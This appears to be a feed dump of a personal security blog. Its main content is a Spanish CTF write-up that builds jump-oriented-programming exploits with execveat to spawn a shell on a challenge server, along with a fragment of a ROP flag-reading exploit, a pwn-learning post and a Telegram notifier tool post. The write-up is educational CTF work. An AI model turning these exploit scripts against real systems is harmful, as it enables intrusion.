</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'AAAABBBB'</span>
<span class="c1"># Now, we have the flag on our bss section,
# We need to write it down, with puts, yay
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">plt_puts</span><span class="p">)</span>
<span class="c1"># Now exit to main or end it
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'AAAABBBB'</span>
<span class="n">upload_bof</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">n</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Send the flag path ?"</span><span class="p">)</span>
<span class="c1"># This flag will be used on the first read of our ropchain
</span><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">"/tmp/flag.txt</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>With this, we’re ready to grab the flag :D</p>
<p><img src="assets/flag.jpg" alt="" /></p>
<p>Hope that this helps!</p>
<p>cheers!</p>
<center>kjj</center>f4d3Hi everyone !pwnj{_start}2021-03-22T00:17:00-03:002021-03-22T00:17:00-03:00https://f4d3.io/pwnj_starti<p>Hi everyone, f4d3 here !</p>
<h1 id="motivation">Motivation</h1>
<p>Considering the pandemic and all the shit that is going on, I thought that I would love to die… but just after knowing how to <code class="highlighter-rouge">pwn real things</code>, including <code class="highlighter-rouge">computers</code>, <code class="highlighter-rouge">embedded systems</code> and (hopefuly) <strong>browsers</strong>.</p>
<p>So, I’ll use this as a kick-off to a full <strong>{1,2,…} year</strong> journey to learn every topic that I can, everything related to <code class="highlighter-rouge">pwn</code> and <code class="highlighter-rouge">reversing</code>, I have a prior little knowledge on this field, so, I’ll start where I feel more weak <strong>heap</strong>. My objective is to reach (<strong>and research</strong>) <strong>Real Life</strong> targets, by learning from online resources, blogs, <code class="highlighter-rouge">public PoC's</code> and (of course) CTF’s.</p>
<h1 id="y-en-qué-afecta-esto-a-boca---what-does-this-have-to-do-with-me-">Y en qué afecta esto a boca ? | What does this have to do with me ?</h1>
<p>Well, nothing really, <strong>but</strong>.</p>
<p>I’ll drop a <code class="highlighter-rouge">weekly post</code> on my blog ( this blog :D ) in order to keep consistency on this journey, from various topics, including the things that I already mentioned before. Apart from the consistency thing, this will help me to interiorize even more every topic that I just learnt, and, <strong>maybe</strong>, can help you to solve some CTF chall, or learn a new thing.</p>
<p>With this said, let the madness begin</p>
<p>be safe,,,</p>
<p><img src="https://media.giphy.com/media/TFYyfFrqxuExEM5r04/giphy.gif" width="90%" /></p>
<center>kjj</center>f4d3Hi everyone, f4d3 here !Go Quick (telegram) Message 🎯 !2020-09-04T18:10:00-04:002020-09-04T18:10:00-04:00https://f4d3.io/gqm<h1 id="go-quick-message-bourneagain-simple-telegram-notificator----">Go Quick Message (BourneAgain: Simple Telegram Notificator 🎯 !)</h1>
<p>Hi everyone!</p>
<p>Here I brought to you a tiny tool ( <strong>redone in GO</strong> ) that I made to create notifications on the fly via <code class="highlighter-rouge">telegram bot api</code>, which helps you to make scripts and notify out some events.<br />
For example, I use this tool to manage my <code class="highlighter-rouge">own collaborator</code>, which will shout out the <code class="highlighter-rouge">DNS hits</code> made to my collab.<br />
Normally I use this to clear the checklist: (<strong>DNS interaction HIT</strong>, <strong>SSRF</strong>, <strong>bXSS</strong>, etc).</p>
<p>Very useful (at least for me) for bug bounties and CTF’s :D</p>
<h1 id="installation">Installation</h1>
<h3 id="link-to-the-repo"><a href="https://github.com/jcatala/gqm">Link to the repo</a></h3>
<p><strong>Remember to have the $GOPATH/bin on your $PATH</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>go get <span class="nt">-u</span> github.com/jcatala/gqm
<span class="nb">mkdir</span> ~/.config/gqm/
vim ~/.config/gqm/gqm.ini
</code></pre></div></div>
<p>The config file must be something like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apikey <span class="o">=</span> YOUR TOKEN THAT BOTHFATHERS GIVES TO YOU
</code></pre></div></div>
<p>gqm will automatically update the chat_id on the config file, that must match the last update from the bot. Sometimes the bot does not have new <code class="highlighter-rouge">updates</code>, so it fails at the <code class="highlighter-rouge">chat_id fetch</code>, that0s the reason why I save it on the <code class="highlighter-rouge">.ini</code> file.</p>
<h1 id="config-file">Config file</h1>
<ul>
<li>The config file must be look something like this:</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ <span class="nb">cat</span> .config/gqm/gqm.ini
apikey <span class="o">=</span> the one that the botfather gives to you
</code></pre></div></div>
<ul>
<li><code class="highlighter-rouge">gqm</code> will update the <code class="highlighter-rouge">chat id</code> automatically, you need to talk to the bot before running <code class="highlighter-rouge">gqm</code>, <strong>just to have some updates to get the correct last chat id</strong>.</li>
</ul>
<h1 id="how-to-use">How to use</h1>
<ul>
<li>The most easy to use that I could:</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ ~ gqm <span class="nt">-h</span>
Usage of gqm:
<span class="nt">-debugInfo</span>
To get debug information
<span class="nt">-follow</span>
To keep the stdin open
<span class="nt">-markdown</span>
Force markdown on the entire message, <span class="k">if </span>is not, <span class="k">do </span>it by yourself adding backquotes
<span class="nt">-verbose</span>
To be verbose
</code></pre></div></div>
<ul>
<li>NOTE: The default format of the message is <code class="highlighter-rouge">MARKDOWN</code>, if you use the <code class="highlighter-rouge">-m</code> option, the <code class="highlighter-rouge">backquotes</code> are automatically added, if not, you need to handle it by yourself adding it.</li>
</ul>
<h1 id="example">Example</h1>
<h2 id="simple-command-line-notification">Simple command line notification</h2>
<center><img src="./assets/Sep-2020-09-04-18-25-15.png" /></center>
<h2 id="example-out-of-band-dns-check">Example out of band DNS check</h2>
<ul>
<li>I have the bot running on DNS hits on my collab, the following command will do the work:</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tail</span> <span class="nt">-n</span> 0 <span class="nt">-f</span> /var/log/named/query.log | <span class="nb">grep</span> <span class="nt">--line-buffered</span> <span class="s2">"your-desire-domain.com"</span> | gqm <span class="nt">-markdown</span> <span class="nt">-follow</span>
</code></pre></div></div>
<p><strong>I don’t recommend to grep over your main domain, because sometimes, <code class="highlighter-rouge">scanners/chineses</code> will fukk your bot up 😶</strong></p>
<h2 id="question--support">Question / Support</h2>
<p>Any question/suggestion, please, contact me via <a href="https://twitter.com/f4d3_cl">twitter</a> 👀</p>
<h3 id="if-you-take-a-while-to-test-this-thank-you-very-much-">If you take a while to test this… thank you very much !</h3>f4d3Go Quick Message (BourneAgain: Simple Telegram Notificator 🎯 !)convid{Scandinavian Journal of Psychology}2020-06-14T20:46:00-04:002020-06-14T20:46:00-04:00https://f4d3.io/convid-scandivan<p>Buenas gente!
El pasado fin de semana, participamos en un CTF organizado por <a href="https://l4tinhtb.com/">l4t1nhtb</a> y <a href="https://convid.cl/">convid.cl</a>, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ !
Mucho amor al team que la rompieron 24/7 <a href="https://www.cntr0llz.com/">cntr0llz</a> ❤️ !</p>
<h1 id="summary">Summary</h1>
<p>Este reto, era uno de los retos que más me costó, un <code class="highlighter-rouge">pwn</code> con sólo con 4 solves en total, que hay que utilizar y abusar de <code class="highlighter-rouge">rop</code> y <code class="highlighter-rouge">jop</code>, para lograr hacer un syscall y posteriormente spawnear una shell.</p>
<p>La descripción no ayuda mucho, solo nos da una dirección donde se hostea el reto, y el reto mismo.</p>
<p><img src="./assets/Jun-2020-06-14-20-47-00.png" alt="" /></p>
<h1 id="static-analysis">static analysis</h1>
<p>Comenzando con un análisis estático, corremos el programa, este espera un input y muere.</p>
<p><img src="./assets/Jun-2020-06-14-20-52-07.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> checksec
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/ctf/work/scandinavian/nanana'</span>
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE <span class="o">(</span>0x400000<span class="o">)</span>
pwndbg>
</code></pre></div></div>
<p>Comenzando a ver su <code class="highlighter-rouge">ASM</code>, sólo veremos su <code class="highlighter-rouge">entry point</code>, probablemente, escrito a mano en <code class="highlighter-rouge">assembly</code> (brígido <a href="https://c4ebt.github.io/">@c4e</a>):</p>
<p><img src="./assets/Jun-2020-06-14-20-53-03.png" alt="" /></p>
<p><img src="./assets/Jun-2020-06-14-20-53-19.png" alt="" /></p>
<p>Viendo esta última imágen, cláramente estamos frente a un reto de <code class="highlighter-rouge">JOP</code> <a href="https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf">jump oriented programming </a>
Técnica la cual se basa en pivotear en un gadget <code class="highlighter-rouge">jmp</code>, en vez de centrarse en gadgets <code class="highlighter-rouge">ret</code> como en <code class="highlighter-rouge">ROP</code>.</p>
<p>Entendiendo la lógica del programa antes de llegar al respectivo gadget <code class="highlighter-rouge">add rsp, 8 ; jmp qword [rsp -8]</code>, tendremos una syscall de <code class="highlighter-rouge">read</code>, la cual nos dará un buffer de <code class="highlighter-rouge">0x250</code> en el stack.</p>
<h1 id="dynamic-analysis">dynamic analysis</h1>
<p>Corriéndolo bajo <code class="highlighter-rouge">GDB</code>, podemos obtener que la primera instrucción que llamará el dispatcher, estará en el offset <code class="highlighter-rouge">256</code>, por lo que tenemos <code class="highlighter-rouge">256 bytes</code> de padding antes de llegar a tomar el control del <code class="highlighter-rouge">RIP</code>.</p>
<p><img src="./assets/Jun-2020-06-14-21-07-13.png" alt="" /></p>
<h1 id="exploitpy">exploit.py</h1>
<p>Si comenzamos a armar nuestro exploit, el skeleton quedaría de la siguiente manera:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"nanana"</span> <span class="c1"># change for the challenge name
</span>
<span class="k">def</span> <span class="nf">debug</span><span class="p">():</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{})</span> <span class="c1"># Start the new process
</span> <span class="n">gdb_command</span> <span class="o">=</span> <span class="s">''''''</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="c1"># The command that will run gdb at startup
</span> <span class="n">attach_command</span> <span class="o">=</span> <span class="s">"tmux new-window gdb {} {} "</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span> <span class="n">p</span><span class="o">.</span><span class="n">pid</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">gdb_command</span><span class="p">:</span>
<span class="n">attach_command</span> <span class="o">+=</span> <span class="s">'''--eval-command="{}" '''</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Starting a new gdb session with the following command: {}"</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span>
<span class="n">attach_command</span><span class="p">))</span>
<span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">attach_command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">)</span>
<span class="k">return</span> <span class="n">p</span>
<span class="k">if</span> <span class="s">"remote"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">debug</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"172.104.234.7"</span><span class="p">,</span> <span class="mi">7891</span><span class="p">)</span>
<span class="c1">## everything goes here
</span><span class="n">dispatcher</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00400107</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span><span class="o">*</span> <span class="mi">256</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'B'</span><span class="o">*</span><span class="mi">8</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="./assets/Jun-2020-06-14-21-10-12.png" alt="" /></p>
<p>Tenemos control sobre <code class="highlighter-rouge">RIP</code>,
Hay que notar que tenemos la dirección del dispatcher en <code class="highlighter-rouge">RCX</code>, lo que significa, que cualquier <code class="highlighter-rouge">JMP rcx</code>, nos vendría bien para volver al dispatcher.</p>
<pre><code class="language-asm">0x004000f0 mov rsi, rsp ; [01] -r-x section size 50 named .text
0x004000f3 sub rsi, 0x100 ; 256
0x004000fa mov edx, 0x250 ; 592
0x004000ff xor rax, rax
0x00400102 xor rdi, rdi
0x00400105 syscall
0x00400107 add rsp, 8
0x0040010b jmp qword [rsp - 8]
0x0040010f pop rcx
0x00400110 add rcx, 0
0x00400114 pop rsi
0x00400115 pop rdx
0x00400116 nop
0x00400117 jmp rcx
0x00400119 add rax, 7
0x0040011d mov rsi, rax
0x00400120 jmp rcx
</code></pre>
<p>Necesitamos de alguna manera, llamar a <code class="highlighter-rouge">/bin/sh\x00</code>, o solo leer la flag… para eso, tenemos muchas formas de hacerlo utilizando syscalls (<code class="highlighter-rouge">execve</code>, <code class="highlighter-rouge">open + read</code>, <code class="highlighter-rouge">SROP</code> (using sigreturn), etc…)
Notar que no tenemos ningún gadget del tipo <code class="highlighter-rouge">pop rdi</code>, por lo que será difícil modificar ese primer registro/argumento.</p>
<p>Hace unas semanas, me topé con un reto el cual se trataba de <code class="highlighter-rouge">bypasear syscalls blacklisteadas</code>…<br />
Leyendo writeups de ese reto, leí algo muy interesante de la cual no tenía idea… <a href="https://man7.org/linux/man-pages/man2/execveat.2.html"><code class="highlighter-rouge">execveat</code></a>. Esta es una <code class="highlighter-rouge">syscall</code> #322 , syscall la cual su primer argumento es un <code class="highlighter-rouge">path</code>, sirve como <code class="highlighter-rouge">execve</code> pero para <code class="highlighter-rouge">relative paths</code>…
Tomando esto en cuenta, debemos llamar a:</p>
<ul>
<li><code class="highlighter-rouge">execveat(0x00, * '/bin/sh\x00', 0x00)</code></li>
</ul>
<p>Con esto, nos podemos librar de la dependencia de <code class="highlighter-rouge">RDI</code> y solo enfocarnos en <code class="highlighter-rouge">RSI</code>, y sorpresa, tenemos un <code class="highlighter-rouge">pop rsi; pop rdx; ret</code> en el <code class="highlighter-rouge">ASM</code> 🎯 !</p>
<h2 id="vector-de-ataque">vector de ataque</h2>
<ul>
<li>Escribir nuestro payload en algún lado (puede ser una dirección arbitraria de la <code class="highlighter-rouge">.bss</code>), para esto podemos utilizar el <code class="highlighter-rouge">xor rax, rax; xor rdi, rdi, syscall</code>
<ul>
<li>Setear <code class="highlighter-rouge">RSI</code> y <code class="highlighter-rouge">RDX</code></li>
<li>llamar la syscall <code class="highlighter-rouge">read</code> que ya la tenemos lista</li>
</ul>
</li>
<li>Setear los registros correspondientes
<ul>
<li>RDI : 0x00</li>
<li>RSI : .bss address</li>
<li>RAX : 322 (execveat numer)</li>
</ul>
</li>
<li>llegar a syscall con <code class="highlighter-rouge">RAX</code> = 322</li>
</ul>
<p>Siguiendo esta idea, necesitaremos armar un payload que haga ese recorrido, trataré de dejar lo mejor explicada cada línea del código.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"nanana"</span> <span class="c1"># change for the challenge name
</span>
<span class="k">def</span> <span class="nf">debug</span><span class="p">():</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{})</span> <span class="c1"># Start the new process
</span> <span class="n">gdb_command</span> <span class="o">=</span> <span class="s">''''''</span><span class="o">.</span><span class="n">split</span><span class="p">(</span>
<span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="c1"># The command that will run gdb at startup
</span> <span class="n">attach_command</span> <span class="o">=</span> <span class="s">"tmux new-window gdb {} {} "</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span> <span class="n">p</span><span class="o">.</span><span class="n">pid</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">gdb_command</span><span class="p">:</span>
<span class="n">attach_command</span> <span class="o">+=</span> <span class="s">'''--eval-command="{}" '''</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Starting a new gdb session with the following command: {}"</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span>
<span class="n">attach_command</span><span class="p">))</span>
<span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">attach_command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">)</span>
<span class="k">return</span> <span class="n">p</span>
<span class="k">if</span> <span class="s">"remote"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">debug</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"172.104.234.7"</span><span class="p">,</span> <span class="mi">7891</span><span class="p">)</span>
<span class="c1">## everything goes here
</span><span class="n">dispatcher</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00400107</span><span class="p">)</span>
<span class="n">pop_rsi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00400114</span><span class="p">)</span> <span class="c1"># pop rsi; pop rdx; nop; jmp rcx
</span><span class="n">bss</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x600000</span> <span class="o">+</span> <span class="mh">0xff</span><span class="p">)</span> <span class="c1"># bss address
</span><span class="n">read</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x004000ff</span><span class="p">)</span> <span class="c1"># xor rax, rax ; xor rdi, rdi; syscall
</span>
<span class="n">syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00400102</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">256</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">pop_rsi</span> <span class="c1"># Saltamos a pop rsi; pop rdx; nop; jmp rcx
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">bss</span> <span class="c1"># bss quedará en rsi (buffer)
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffff</span><span class="p">)</span> <span class="c1"># 0xff quedará en rdx, serán la cantidad de bytes a leer, tenemos nuestro dispatcher en rcx
# saltamos de vuelta al dispatcher
# corre el stack y saltamos nuevamente
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">read</span> <span class="c1"># nuestro programa quedará colgado esperando otro input
# por lo que deberemos mandar otra linea con nuestro comando a guardar
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">pop_rsi</span> <span class="c1"># salmtaos denuevo al gadget
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">bss</span> <span class="c1"># guardamos la dirección de nuestro payload en rsi
# será el segundo argumento de exceveat !
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># guardamos 0x00 en rdx
# saltaremos otra vez al dispatcher por el jmp rcx
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">syscall</span> <span class="c1">## llamamos a la syscall!
</span>
<span class="nb">input</span><span class="p">(</span><span class="s">'send first payload? '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send_raw</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">input</span><span class="p">(</span><span class="s">'send second payload? '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send_raw</span><span class="p">(</span><span class="n">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="./assets/Jun-2020-06-14-21-34-54.png" alt="" /></p>
<p>Bien ! obtuvimos un llamado a una syscall, con un segundo argumento arbitrario, lamentablemente, <code class="highlighter-rouge">RAX</code> no está seteado como corresponde, ya que este argumento, debería ser la syscall number…
No tenemos ningún tipo de gadget del tipo <code class="highlighter-rouge">pop rax</code>, pero sí tenemos un gadget del tipo <code class="highlighter-rouge">add rax, 7</code>… podríamos iterar hasta alcanzar el 322 de la syscall <code class="highlighter-rouge">execveat</code>… tedioso.</p>
<p>En nuestro segundo paso, pasamos por una syscall <code class="highlighter-rouge">read</code>, lo interesante de esta syscall, es su valor de retorno.</p>
<p><img src="./assets/Jun-2020-06-14-21-37-28.png" alt="" /></p>
<p><img src="./assets/Jun-2020-06-14-21-37-47.png" alt="" /></p>
<p>Por lo que, el valor de <code class="highlighter-rouge">RAX</code>, será el largo de nuestro comando, ya que el valor retornado por <code class="highlighter-rouge">read</code>, irá en <code class="highlighter-rouge">RAX</code> !
De aquí, es fácil llegar a un valor esperado, podríamos agregar slashes como quisieramos…
<code class="highlighter-rouge">/bin//////.../sh\x00</code>, esto hasta completar 322 bytes de largo!</p>
<p>Antes de leer el comando:
<img src="./assets/Jun-2020-06-14-21-42-03.png" alt="" /></p>
<p>Luego de leer el comando:</p>
<p><img src="./assets/Jun-2020-06-14-21-42-44.png" alt="" /></p>
<p>llegando a la última syscall de <code class="highlighter-rouge">execveat</code></p>
<p><img src="./assets/Jun-2020-06-14-21-43-18.png" alt="" /></p>
<p>yes, ahora a probar remoto!</p>
<p><img src="./assets/Jun-2020-06-14-21-44-32.png" alt="" /></p>
<p><strong>CL{j0p_M4s_sr0p_w0mb0_C0M8o!}</strong></p>
<p>Entretenido el reto, gracias <a href="https://c4ebt.github.io/">@c4e</a> por el tiempo de cranear estos retos!</p>
<p>espero que se haya entendido todo, si hay alguna pregunta, no duden en <a href="https://twitter.com/f4d3_cl">escribirme</a>,,,,</p>
<p>Saludos!</p>
<center>kjj</center>f4d3Buenas gente! El pasado fin de semana, participamos en un CTF organizado por l4t1nhtb y convid.cl, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ ! Mucho amor al team que la rompieron 24/7 cntr0llz ❤️ !